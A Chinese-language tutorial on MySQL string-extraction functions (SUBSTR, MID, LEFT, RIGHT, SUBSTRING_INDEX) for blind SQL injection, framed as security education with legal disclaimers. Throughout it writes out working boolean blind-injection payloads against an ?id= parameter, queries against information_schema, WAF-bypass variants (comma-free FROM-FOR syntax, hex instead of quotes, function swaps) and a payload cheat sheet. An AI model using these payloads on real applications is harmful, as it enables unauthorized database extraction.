盲注函数详解 1 — 字符串截取函数
在布尔盲注和时间盲注中,核心操作是"逐字符猜解数据"。要实现这一点,必须先将目标数据按位置截取为单个字符,再转换为 ASCII 码进行比较。本文系统讲解 MySQL 中用于字符串截取的函数及其在盲注中的应用。
📋 文章目录
- 一、字符串截取函数总览
- 二、SUBSTRING / SUBSTR / MID 详解
- 三、LEFT 函数详解
- 四、RIGHT 函数详解
- 五、SUBSTRING_INDEX 函数详解
- 六、函数对比与选择决策
- 七、常见陷阱与注意事项
- 八、速查表
⚠️ 免责声明:本文旨在教学网络安全知识,帮助安全研究人员、开发人员和运维人员了解 SQL 注入盲注的原理与防御方法。严禁将本文所述技术用于任何非法攻击、渗透测试(未经授权)、数据窃取或其他违法犯罪活动。因不当使用本文技术造成的一切后果由使用者自行承担,作者及平台不承担任何法律责任。请遵守法律法规,仅将知识用于合法授权的安全测试、学习研究或防御加固。
一、字符串截取函数总览
| SUBSTRING(str, pos, len) | 从 pos 位置取 len 个字符 | 从左向右 | 全版本 | ★★★★★ |
| SUBSTR(str, pos, len) | SUBSTRING 的同义词 | 从左向右 | 全版本 | ★★★★★ |
| MID(str, pos, len) | SUBSTRING 的同义词 | 从左向右 | 全版本 | ★★★★ |
| LEFT(str, n) | 从最左侧取 n 个字符 | 从左向右 | 全版本 | ★★★ |
| RIGHT(str, n) | 从最右侧取 n 个字符 | 从右向左 | 全版本 | ★★ |
| SUBSTRING_INDEX(str, delim, count) | 按分隔符截取 | 灵活 | 全版本 | ★★ |
重要:SUBSTRING、SUBSTR、MID 三个函数在 MySQL 中功能完全等价,只是名称不同。WAF 绕过时可以互相替换。
二、SUBSTRING / SUBSTR / MID 详解
2.1 基本语法
SUBSTRING(str, pos, len) — 从 str 的第 pos 位置开始,截取 len 个字符
SUBSTRING(str, pos) — 从 str 的第 pos 位置开始,截取到末尾
— 别名形式(功能完全相同)
SUBSTR(str, pos, len)
MID(str, pos, len)
— MySQL 特有的 FROM-FOR 语法(不需要逗号)
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
参数说明:
| str | 要截取的字符串 | 可以是字段名、函数返回值、子查询结果 |
| pos | 起始位置 | MySQL 中从 1 开始(不是从 0),支持负数(从末尾开始) |
| len | 截取长度 | 省略则截取到末尾 |
2.2 基本用法示例
— 从位置1开始取1个字符
SELECT SUBSTRING('security', 1, 1); — 's'
SELECT SUBSTR('security', 1, 1); — 's'
SELECT MID('security', 1, 1); — 's'
— 从位置3开始取4个字符
SELECT SUBSTRING('security', 3, 4); — 'curi'
— 从位置5开始取到末尾(省略len)
SELECT SUBSTRING('security', 5); — 'rity'
— 使用负数位置(从末尾开始计数)
SELECT SUBSTRING('security', –3); — 'ity'(从倒数第3个字符到末尾)
SELECT SUBSTRING('security', –3, 2); — 'it'(从倒数第3个字符取2个字符)
— FROM-FOR 语法(不需要逗号,逗号被过滤时使用)
SELECT SUBSTRING('security' FROM 1 FOR 1); — 's'
SELECT SUBSTRING('security' FROM 3 FOR 4); — 'curi'
SELECT SUBSTRING('security' FROM 5); — 'rity'
2.3 在盲注中的应用
在盲注中,SUBSTR 最核心的用法是截取单个字符,配合 ASCII() 转换为数值进行比较:
— 截取 database() 返回值的第1个字符,转为ASCII码,判断是否大于100
ASCII(SUBSTR(database(), 1, 1)) > 100
— 截取 version() 返回值的第6个字符
ASCII(SUBSTR(@@version, 6, 1)) = 55
— 截取子查询返回的第3个字符
ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 3, 1)) = 114
完整盲注 Payload 示例:
— 假设原SQL: SELECT * FROM users WHERE id=1
— 猜解 database() 的第1个字符
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) > 100
— 页面正常 → ASCII > 100 → 继续二分
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) > 115
— 页面异常 → ASCII <= 115 → 缩小范围
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) = 115
— 页面正常 → ASCII = 115 → 字符是 's' → database() 首字符是 's'
2.4 不使用 ASCII 的直接字符比较
也可以不经过 ASCII() 转换,直接用字符进行比较:
— 直接与字符比较(需要引号)
?id=1 AND SUBSTR(database(), 1, 1) = 's'
— 缺点:需要引号,如果引号被过滤则无法使用
— 优点:可以直接用 LIKE、REGEXP 等模式匹配
— 用十六进制替代引号中的字符
?id=1 AND SUBSTR(database(), 1, 1) = 0x73
— 0x73 = 115 = 's',不需要引号
2.5 三个函数的等价性证明
— 以下三个表达式完全等价
SELECT SUBSTRING('admin', 1, 1); — 'a'
SELECT SUBSTR('admin', 1, 1); — 'a'
SELECT MID('admin', 1, 1); — 'a'
— 在盲注中可以互相替换
?id=1 AND ASCII(SUBSTRING(database(), 1, 1)) = 115
?id=1 AND ASCII(SUBSTR(database(), 1, 1)) = 115
?id=1 AND ASCII(MID(database(), 1, 1)) = 115
— 三个 Payload 效果完全相同
WAF 绕过提示:如果 SUBSTR 被 WAF 拦截,可以换用 SUBSTRING 或 MID,反之亦然。三个函数的 SQL 执行结果完全一致。
2.6 FROM-FOR 语法的 WAF 绕过价值
— 标准语法(使用逗号)
SUBSTR(database(), 1, 1)
— FROM-FOR 语法(不使用逗号,逗号被WAF过滤时使用)
SUBSTR(database() FROM 1 FOR 1)
— 实际Payload
?id=1 AND ASCII(SUBSTR(database() FROM 1 FOR 1)) = 115
— 如果 FOR 也被过滤,可以用 FROM 语法取到末尾再配合其他函数
— 但这会使Payload更复杂,一般不推荐
三、LEFT 函数详解
3.1 基本语法
LEFT(str, n) — 从字符串最左侧取 n 个字符
3.2 基本用法示例
SELECT LEFT('security', 1); — 's'(取最左1个字符)
SELECT LEFT('security', 3); — 'sec'(取最左3个字符)
SELECT LEFT('security', 0); — ''(取0个字符 = 空字符串)
SELECT LEFT('security', 100); — 'security'(超过长度则取全部)
SELECT LEFT('security', NULL); — NULL
3.3 在盲注中的应用
LEFT 在盲注中的典型用法是逐前缀匹配——每次多猜一个字符,与前一次的结果拼接:
— 逐字符扩大前缀
— 第1次:猜第1个字符
?id=1 AND LEFT(database(), 1) = 's'
— 等价于 SUBSTR(database(), 1, 1) = 's'
— 第2次:猜前2个字符(第1个已知为 's')
?id=1 AND LEFT(database(), 2) = 'se'
— 等价于 CONCAT(SUBSTR(database(),1,1), SUBSTR(database(),2,1)) = 'se'
— 第3次:猜前3个字符
?id=1 AND LEFT(database(), 3) = 'sec'
— 依次类推,直到完整数据库名
?id=1 AND LEFT(database(), 8) = 'security'
LEFT 的特点:
| 优势 | 每次请求包含前面已知的所有字符,可以"逐步逼近"完整字符串 |
| 劣势 | 需要引号包裹字符串,引号被过滤时无法使用(除非用十六进制) |
| 劣势 | 每次比较的字符串越来越长,Payload 逐渐变大 |
| 适用 | 适合配合十六进制编码使用,或引号未被过滤的场景 |
十六进制编码配合 LEFT:
— 不需要引号
?id=1 AND LEFT(database(), 1) = 0x73
— 0x73 = 's'
?id=1 AND LEFT(database(), 2) = 0x7365
— 0x7365 = 'se'
?id=1 AND LEFT(database(), 8) = 0x7365637572697479
— 0x7365637572697479 = 'security'
注意:十六进制字符串在 MySQL 中默认按字节解释。对于 ASCII 字符(0-127),十六进制与字符一一对应。对于多字节字符(如中文、emoji),需要注意字符集差异——LENGTH() 和 CHAR_LENGTH() 的返回值不同。
四、RIGHT 函数详解
4.1 基本语法
RIGHT(str, n) — 从字符串最右侧取 n 个字符
4.2 基本用法示例
SELECT RIGHT('security', 1); — 'y'(取最右1个字符)
SELECT RIGHT('security', 3); — 'ity'(取最右3个字符)
SELECT RIGHT('security', 0); — ''
SELECT RIGHT('security', 100); — 'security'
4.3 在盲注中的应用
RIGHT 在盲注中较少单独使用,因为从右侧逐字符猜解需要先知道总长度。但可以配合 REVERSE 实现"从右向左"的猜解:
— 从右向左猜解(先猜最后一个字符)
— REVERSE 将字符串反转,再用 LEFT 从左取
?id=1 AND LEFT(REVERSE(database()), 1) = 'y'
— 等价于 RIGHT(database(), 1) = 'y'
— 逐个扩大
?id=1 AND LEFT(REVERSE(database()), 2) = 'yt'
— 等价于 RIGHT(database(), 2) = 'ty'(注意顺序反转)
?id=1 AND LEFT(REVERSE(database()), 3) = 'yti'
— 等价于 RIGHT(database(), 3) = 'ity'
RIGHT 更常见的用途是配合 SUBSTR 实现从末尾截取单个字符:
— 取倒数第1个字符(需要知道总长度,假设长度为8)
?id=1 AND ASCII(SUBSTR(database(), 8, 1)) = 121
— 等价于 ASCII(RIGHT(database(), 1)) = 121
— 取倒数第2个字符
?id=1 AND ASCII(SUBSTR(database(), 7, 1)) = 116
— 等价于 ASCII(RIGHT(database(), 2)) 的第二个字符
总结:RIGHT 在盲注中实用性不如 SUBSTR 和 LEFT,主要用于 WAF 绕过时的替代方案或特殊场景。
五、SUBSTRING_INDEX 函数详解
5.1 基本语法
SUBSTRING_INDEX(str, delim, count)
— 按 delim 分隔 str,取前 count 个分隔符之前(或之后)的内容
— count > 0:从左向右数,取第 count 个 delim 之前的内容
— count < 0:从右向左数,取第 |count| 个 delim 之后的内容
5.2 基本用法示例
SELECT SUBSTRING_INDEX('www.example.com', '.', 2);
— 'www.example'(从左数2个`.`之前的内容)
SELECT SUBSTRING_INDEX('www.example.com', '.', 1);
— 'www'
SELECT SUBSTRING_INDEX('www.example.com', '.', –1);
— 'com'(从右数1个`.`之后的内容)
SELECT SUBSTRING_INDEX('www.example.com', '.', –2);
— 'example.com'
SELECT SUBSTRING_INDEX('admin:password123', ':', 1);
— 'admin'
SELECT SUBSTRING_INDEX('admin:password123', ':', –1);
— 'password123'
5.3 在盲注中的应用
SUBSTRING_INDEX 在盲注中不用于逐字符截取,而是用于提取分隔符分隔的字段值:
— 假设 GROUP_CONCAT 返回 'users,products,orders,config'
— 用 SUBSTRING_INDEX 取第1个表名
SELECT SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 1
);
— 结果:'users'
— 取第2个表名(嵌套使用)
SELECT SUBSTRING_INDEX(
SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 2
),
',', –1
);
— 结果:'products'
— 在布尔盲注中判断第2个表名是否以 'p' 开头
?id=1 AND ASCII(SUBSTR(
SUBSTRING_INDEX(
SUBSTRING_INDEX(
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
',', 2
),
',', –1
),
1, 1
)) = 112
— 112 = 'p'
使用场景:当 GROUP_CONCAT 一次性拼接了多个值,但需要定位其中某个特定值时,SUBSTRING_INDEX 是有用的辅助函数。不过在纯布尔盲注中,更常用的是 LIMIT 逐行获取而非 GROUP_CONCAT + SUBSTRING_INDEX。
六、函数对比与选择决策
6.1 盲注场景下的函数选择
| 逐字符猜解(标准方式) | SUBSTR + ASCII | ASCII(SUBSTR(database(),1,1))>100 | 最通用、最稳定 |
| 逐前缀逼近 | LEFT | LEFT(database(),2)='se' | 逐步缩小范围 |
| 从末尾猜解 | RIGHT / REVERSE+LEFT | RIGHT(database(),1)='y' | 特殊场景辅助 |
| 逗号被 WAF 过滤 | SUBSTRING FROM FOR | SUBSTR(database() FROM 1 FOR 1) | 避免使用逗号 |
| SUBSTR 被 WAF 过滤 | MID 或 SUBSTRING | MID(database(),1,1) | 三者完全等价 |
| 定位分隔值 | SUBSTRING_INDEX | SUBSTRING_INDEX(data,',',-1) | 辅助函数 |
6.2 从左向右 vs 从右向左猜解
| 从左向右 | SUBSTR(str, n, 1) | 最自然,位置从 1 递增 | 需要知道总长度确定结束位置 |
| 从左向右(前缀) | LEFT(str, n) | 包含已知字符,逐步逼近 | 需要引号或十六进制 |
| 从右向左 | RIGHT(str, n) + REVERSE | 可先猜结尾 | Payload 较复杂 |
| 双向猜解 | SUBSTR 从两端向中间 | 并发猜解,理论上快一倍 | 实现复杂 |
实战建议:绝大多数情况下使用 SUBSTR + ASCII 从左向右猜解即可。双向猜解和多线程并发等优化技巧见《盲注-技巧与进阶》文档。
七、常见陷阱与注意事项
7.1 MySQL 位置从 1 开始(不是 0)
— MySQL 中 SUBSTR 的位置从 1 开始
SELECT SUBSTR('admin', 1, 1); — 'a'(第1个字符)
SELECT SUBSTR('admin', 0, 1); — ''(第0个位置不存在,返回空字符串)
SELECT SUBSTR('admin', 0, 2); — 'a'(第0位置无字符,从第1位置开始取2个,但只有1个)
— 与 PHP/Java 等语言的 substr 区别
— PHP: substr('admin', 0, 1) → 'a'(从0开始)
— MySQL: SUBSTR('admin', 0, 1) → ''(从0开始 = 无效位置)
重要:在编写盲注脚本时,循环变量应从 1 开始,不是从 0 开始。这是从其他语言迁移时最常犯的错误。
7.2 空字符串与 NULL 的区别
— 空字符串
SELECT SUBSTR('', 1, 1); — ''(空字符串)
SELECT ASCII(SUBSTR('', 1, 1)); — 0(空字符串的 ASCII 为 0)
— NULL
SELECT SUBSTR(NULL, 1, 1); — NULL
SELECT ASCII(SUBSTR(NULL, 1, 1)); — NULL
— 在布尔条件中
SELECT 1 WHERE ASCII(SUBSTR('', 1, 1)) = 0; — 匹配(空字符串ASCII=0)
SELECT 1 WHERE ASCII(SUBSTR(NULL, 1, 1)) = 0; — 不匹配(NULL与任何值比较都为NULL,不是true)
注意:当子查询返回 NULL 时(如查询不存在的行),ASCII(SUBSTR(NULL, …)) 返回 NULL,与任何值的比较都返回 NULL(不是 true 也不是 false)。这可能导致盲注判断出错。应先通过 LENGTH() 或 IS NULL 判断数据是否存在。
7.3 多字节字符集的问题
— ASCII 字符(1字节)
SELECT SUBSTR('admin', 1, 1); — 'a'
SELECT LENGTH('admin'); — 5
SELECT CHAR_LENGTH('admin'); — 5
— 中文(UTF-8 下3字节)
SELECT SUBSTR('管理员', 1, 1); — '管'(按字符截取,不是按字节)
SELECT LENGTH('管理员'); — 9(字节数)
SELECT CHAR_LENGTH('管理员'); — 3(字符数)
— 在盲注中
SELECT ASCII(SUBSTR('管理员', 1, 1));
— 返回 '管' 的第一个字节的 ASCII 值(如 231)
— 注意:一个中文字符的 ASCII 值不能完整表示该字符
注意:SUBSTR 是按字符截取的(不是按字节),但 ASCII() 只返回第一个字节的值。对于多字节字符(如 UTF-8 中文),一个字符可能占 3-4 字节,ASCII() 只能获取第一个字节的值。如果需要完整处理多字节字符,应使用 ORD() 代替 ASCII()(ORD() 返回字符的完整编码值)。详见《盲注函数详解2-长度与编码函数》。
7.4 子查询结果作为 SUBSTR 参数
— 子查询返回字符串,SUBSTR 截取其内容
— 注意:子查询必须返回单行单列(标量子查询),否则报错
— 正确:子查询返回单值
SELECT SUBSTR((SELECT database()), 1, 1); — 's'
— 正确:子查询配合 LIMIT
SELECT SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 0,1), 1, 1);
— 错误:子查询返回多行
SELECT SUBSTR((SELECT table_name FROM information_schema.tables), 1, 1);
— 报错:Subquery returns more than 1 row
— 错误:子查询返回多列
SELECT SUBSTR((SELECT id, username FROM users LIMIT 0,1), 1, 1);
— 报错:Operand should contain 1 column(s)
关键:在盲注中,SUBSTR 的参数几乎总是包含子查询。子查询必须配合 LIMIT 确保只返回单行单列。详见《子查询在盲注中的应用》文档。
八、速查表
| SUBSTRING | SUBSTRING(str, n, 1) | SUBSTRING(str FROM n FOR 1) | 全版本 |
| SUBSTR | SUBSTR(str, n, 1) | SUBSTR(str FROM n FOR 1) | 全版本 |
| MID | MID(str, n, 1) | MID(str FROM n FOR 1) | 全版本 |
| LEFT | LEFT(str, n) | — | 全版本 |
| RIGHT | RIGHT(str, 1) | — | 全版本 |
盲注中截取单个字符的完整 Payload 模式
— 模式1:SUBSTR + ASCII(最常用)
ASCII(SUBSTR((子查询), 位置, 1))
— 模式2:SUBSTRING + ASCII(SUBSTR 被拦截时)
ASCII(SUBSTRING((子查询), 位置, 1))
— 模式3:MID + ASCII(SUBSTR 和 SUBSTRING 都被拦截时)
ASCII(MID((子查询), 位置, 1))
— 模式4:FROM-FOR 语法(逗号被拦截时)
ASCII(SUBSTR((子查询) FROM 位置 FOR 1))
— 模式5:LEFT 前缀匹配
LEFT((子查询), 位置) = 已知前缀
— 模式6:直接字符比较(引号未过滤时)
SUBSTR((子查询), 位置, 1) = '字符'
— 模式7:十六进制字符比较(引号被过滤时)
SUBSTR((子查询), 位置, 1) = 0x十六进制
⚖️ 法律与道德声明
最后再次强调:
- 未经授权的系统入侵
- 数据窃取或篡改
- 破坏系统正常运行
- 其他任何违法犯罪活动
- 代码安全审计
- 输入验证与过滤
- 参数化查询与预编译语句
- 安全配置与权限控制
记住:技术本身无善恶,关键在于使用者的意图与行为。请做一名负责任的安全从业者。

